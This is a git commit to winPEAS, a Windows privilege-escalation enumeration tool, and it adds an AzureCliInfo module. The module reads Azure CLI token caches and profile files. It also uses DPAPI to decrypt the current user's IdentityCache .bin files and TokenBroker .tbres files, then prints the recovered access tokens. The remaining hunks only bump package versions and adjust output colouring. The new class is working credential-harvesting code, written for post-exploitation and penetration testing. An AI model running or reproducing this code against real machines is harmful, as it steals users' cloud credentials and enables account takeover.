add az tokens

This commit is contained in:
Carlos Polop 2025-01-24 19:27:57 +01:00
parent c3744a730b
commit 21a5ef9325
6 changed files with 298 additions and 19 deletions

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -21,6 +21,7 @@ namespace winPEAS.Checks
{
new AWSInfo(),
new AzureInfo(),
new AzureCliInfo(),
new GCPInfo(),
new GCPJoinedInfo(),
new GCDSInfo(),
@ -57,36 +58,31 @@ namespace winPEAS.Checks
foreach (var endpointData in endpointDataList)
{
var colors = new Dictionary<string, string>
{
{ endpointData.EndpointName, Beaprint.GRAY }
};
string msgcolor = Beaprint.NOCOLOR;
string message;
if (!string.IsNullOrEmpty(endpointData.Data))
{
message = endpointData.Data;
// if it is a JSON data, add additional newline so it's displayed on a separate line
if (message.StartsWith("{"))
if (message.StartsWith("{") || message.StartsWith("["))
{
message = $"\n{message}\n";
}
if (endpointData.IsAttackVector)
{
colors.Add(message, Beaprint.ansi_color_bad);
}
else
{
colors.Add(message, Beaprint.ansi_color_gray);
msgcolor = Beaprint.ansi_color_bad;
}
}
else
{
message = "No data received from the metadata endpoint";
msgcolor = Beaprint.ansi_color_gray;
}
Beaprint.ColorPrint($"{endpointData.EndpointName,-30}{message}", Beaprint.ansi_color_gray);
Beaprint.ColorPrint($"{endpointData.EndpointName,-30}", Beaprint.ansi_users_active);
Beaprint.ColorPrint(message, msgcolor);
}
Beaprint.GrayPrint("");

View File

@ -0,0 +1,274 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using winPEAS.Helpers;
using System.Data.SQLite;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Modes;
using System.Linq;
using Microsoft.Win32;
using System.Web.Script.Serialization;
using System;
using System.IO;
using System.Text.Json;
using System.Text.Json.Nodes;
namespace winPEAS.Info.CloudInfo
{
internal class AzureCliInfo : CloudInfoBase
{
public override string Name => "Azure Cli";
public override bool IsCloud => CheckIfAzureCliInstalled();
private Dictionary<string, List<EndpointData>> _endpointData = null;
public static bool CheckIfAzureCliInstalled()
{
string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
string AzureFolderPath = Path.Combine(homeDirectory, ".Azure");
string azureFolderPath = Path.Combine(homeDirectory, ".azure");
return Directory.Exists(AzureFolderPath) || Directory.Exists(azureFolderPath);
}
public static string TBRESDecryptedData(string filePath)
{
var fileJSON = File.ReadAllText(filePath, Encoding.Unicode);
fileJSON = fileJSON.Substring(0, fileJSON.Length - 1);
try
{
var jsonObject = JsonNode.Parse(fileJSON).AsObject();
var encodedData = jsonObject["TBDataStoreObject"]["ObjectData"]["SystemDefinedProperties"]["ResponseBytes"]["Value"].ToString();
var encryptedData = Convert.FromBase64String(encodedData);
var decryptedData = ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);
string decodedData = Encoding.UTF8.GetString(decryptedData);
if (decodedData.Contains("No Token"))
{
return "";
}
return decodedData;
}
catch (System.Exception)
{
Beaprint.PrintException($"[!] Error Decrypting File: {filePath}");
return "";
}
}
private List<EndpointData> GetAzureCliValues()
{
Dictionary<string, string> AzureCliValues = new Dictionary<string, string>();
string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
string AzureFolderPath = Path.Combine(homeDirectory, ".Azure");
string azureFolderPath = Path.Combine(homeDirectory, ".azure");
string azureHomePath = azureFolderPath;
if (Directory.Exists(AzureFolderPath))
{
azureHomePath = AzureFolderPath;
};
// Files that doesn't need decryption
string[] fileNames = {
@"azureProfile.json",
@"clouds.config",
@"service_principal_entries.json",
@"msal_token_cache.json"
};
foreach (string fileName in fileNames)
{
string filePath = Path.Combine(azureHomePath, fileName);
// Check if the file exists
if (File.Exists(filePath))
{
try
{
// Read the file content
string fileContent = File.ReadAllText(filePath);
// Add the file path and content to the dictionary
AzureCliValues[filePath] = fileContent;
}
catch (Exception ex)
{
Beaprint.PrintException($"Error reading file '{filePath}': {ex.Message}");
}
}
}
// Get the IdentityCache directory path and encrypted files with tokens
string identityCachePath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft",
"IdentityCache"
);
string[] binFiles = { };
// Check if the directory exists
if (!Directory.Exists(identityCachePath))
{
Beaprint.PrintException($"The directory '{identityCachePath}' does not exist.");
}
try
{
// Recursively find all *.bin files
binFiles = Directory.GetFiles(identityCachePath, "*.bin", SearchOption.AllDirectories);
}
catch (Exception ex)
{
Beaprint.PrintException($"An error occurred while scanning the identityCache directory: {ex.Message}");
}
// Get the IdentityCache directory path and encrypted files with tokens
string tokenBrokerPath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft",
"TokenBroker"
);
// Files that need decryption
string[] fileNamesEncrp = {
@"service_principal_entries.bin",
@"msal_token_cache.bin"
};
foreach (string fileName in fileNamesEncrp.Concat(binFiles).ToArray())//.Concat(tbFiles).ToArray())
{
string filePath = fileName;
if (!fileName.Contains("\\"))
{
filePath = Path.Combine(azureHomePath, fileName);
}
try
{
if (File.Exists(filePath))
{
// Read encrypted file
byte[] encryptedData = File.ReadAllBytes(filePath);
// Decrypt using DPAPI for the current user
byte[] decryptedData = ProtectedData.Unprotect(
encryptedData,
null,
DataProtectionScope.CurrentUser
);
// Write decrypted data to output file
AzureCliValues[filePath] = Encoding.UTF8.GetString(decryptedData);
}
}
catch (CryptographicException ex)
{
Beaprint.PrintException($"Decrypting {filePath} failed: {ex.Message}");
}
catch (Exception ex)
{
Beaprint.PrintException($"An error occurred: {ex.Message}");
}
}
//TBRES files
string[] tbFiles = { };
// Check if the directory exists
if (!Directory.Exists(tokenBrokerPath))
{
Beaprint.PrintException($"The directory '{tokenBrokerPath}' does not exist.");
}
try
{
// Recursively find all *.bin files
tbFiles = Directory.GetFiles(tokenBrokerPath, "*.tbres", SearchOption.AllDirectories);
}
catch (Exception ex)
{
Beaprint.PrintException($"An error occurred while scanning the Token Broker directory: {ex.Message}");
}
foreach (string filePath in tbFiles)
{
string TBRESContent = TBRESDecryptedData(filePath);
if (TBRESContent.Length > 0)
AzureCliValues[filePath] = TBRESContent;
}
// Format the info in expected CloudInfo format
List<EndpointData> _endpointDataList = new List<EndpointData>();
foreach (var kvp in AzureCliValues)
{
_endpointDataList.Add(new EndpointData()
{
EndpointName = kvp.Key,
Data = kvp.Value?.Trim(),
IsAttackVector = false
});
}
return _endpointDataList;
}
public override Dictionary<string, List<EndpointData>> EndpointDataList()
{
if (_endpointData == null)
{
_endpointData = new Dictionary<string, List<EndpointData>>();
try
{
if (IsAvailable)
{
_endpointData.Add("Local Info", GetAzureCliValues());
}
else
{
_endpointData.Add("General Info", new List<EndpointData>()
{
new EndpointData()
{
EndpointName = "",
Data = null,
IsAttackVector = false
}
});
}
}
catch (Exception ex)
{
Beaprint.PrintException(ex.Message);
}
}
return _endpointData;
}
public override bool TestConnection()
{
return true;
}
}
}

View File

@ -4,7 +4,7 @@
<package id="Costura.Fody" version="5.7.0" targetFramework="net48" developmentDependency="true" />
<package id="EntityFramework" version="6.4.4" targetFramework="net452" />
<package id="Fody" version="6.5.5" targetFramework="net48" developmentDependency="true" />
<package id="Microsoft.Bcl.AsyncInterfaces" version="8.0.0" targetFramework="net48" />
<package id="Microsoft.Bcl.AsyncInterfaces" version="9.0.1" targetFramework="net48" />
<package id="Microsoft.NETCore.Platforms" version="1.1.0" targetFramework="net48" />
<package id="Microsoft.Win32.Primitives" version="4.3.0" targetFramework="net48" />
<package id="NETStandard.Library" version="1.6.1" targetFramework="net48" />
@ -30,6 +30,7 @@
<package id="System.IO.Compression.ZipFile" version="4.3.0" targetFramework="net48" />
<package id="System.IO.FileSystem" version="4.3.0" targetFramework="net48" />
<package id="System.IO.FileSystem.Primitives" version="4.3.0" targetFramework="net48" />
<package id="System.IO.Pipelines" version="9.0.1" targetFramework="net48" />
<package id="System.Linq" version="4.3.0" targetFramework="net48" />
<package id="System.Linq.Expressions" version="4.3.0" targetFramework="net48" />
<package id="System.Memory" version="4.5.5" targetFramework="net48" />
@ -55,7 +56,8 @@
<package id="System.Security.Cryptography.X509Certificates" version="4.3.0" targetFramework="net48" />
<package id="System.Text.Encoding" version="4.3.0" targetFramework="net48" />
<package id="System.Text.Encoding.Extensions" version="4.3.0" targetFramework="net48" />
<package id="System.Text.Encodings.Web" version="8.0.0" targetFramework="net48" />
<package id="System.Text.Encodings.Web" version="9.0.1" targetFramework="net48" />
<package id="System.Text.Json" version="9.0.1" targetFramework="net48" />
<package id="System.Text.RegularExpressions" version="4.3.1" targetFramework="net48" />
<package id="System.Threading" version="4.3.0" targetFramework="net48" />
<package id="System.Threading.Tasks" version="4.3.0" targetFramework="net48" />

View File

@ -129,8 +129,8 @@
<Reference Include="EntityFramework.SqlServer, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
<HintPath>..\packages\EntityFramework.6.4.4\lib\net45\EntityFramework.SqlServer.dll</HintPath>
</Reference>
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.9.0.1\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
</Reference>
<Reference Include="Microsoft.Win32.Primitives, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll</HintPath>
@ -203,6 +203,9 @@
<Private>True</Private>
<Private>True</Private>
</Reference>
<Reference Include="System.IO.Pipelines, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.IO.Pipelines.9.0.1\lib\net462\System.IO.Pipelines.dll</HintPath>
</Reference>
<Reference Include="System.Linq, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll</HintPath>
<Private>True</Private>
@ -280,8 +283,11 @@
<Private>True</Private>
</Reference>
<Reference Include="System.ServiceProcess" />
<Reference Include="System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll</HintPath>
<Reference Include="System.Text.Encodings.Web, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Encodings.Web.9.0.1\lib\net462\System.Text.Encodings.Web.dll</HintPath>
</Reference>
<Reference Include="System.Text.Json, Version=9.0.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Json.9.0.1\lib\net462\System.Text.Json.dll</HintPath>
</Reference>
<Reference Include="System.Text.RegularExpressions, Version=4.1.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<HintPath>..\packages\System.Text.RegularExpressions.4.3.1\lib\net463\System.Text.RegularExpressions.dll</HintPath>
@ -1220,6 +1226,7 @@
<Compile Include="Info\CloudInfo\AWSInfo.cs" />
<Compile Include="Info\CloudInfo\AzureInfo.cs" />
<Compile Include="Info\CloudInfo\EndpointData.cs" />
<Compile Include="Info\CloudInfo\AzureCliInfo.cs" />
<Compile Include="Info\CloudInfo\GPSInfo.cs" />
<Compile Include="Info\CloudInfo\GCDSInfo.cs" />
<Compile Include="Info\CloudInfo\GWorkspaceInfo.cs" />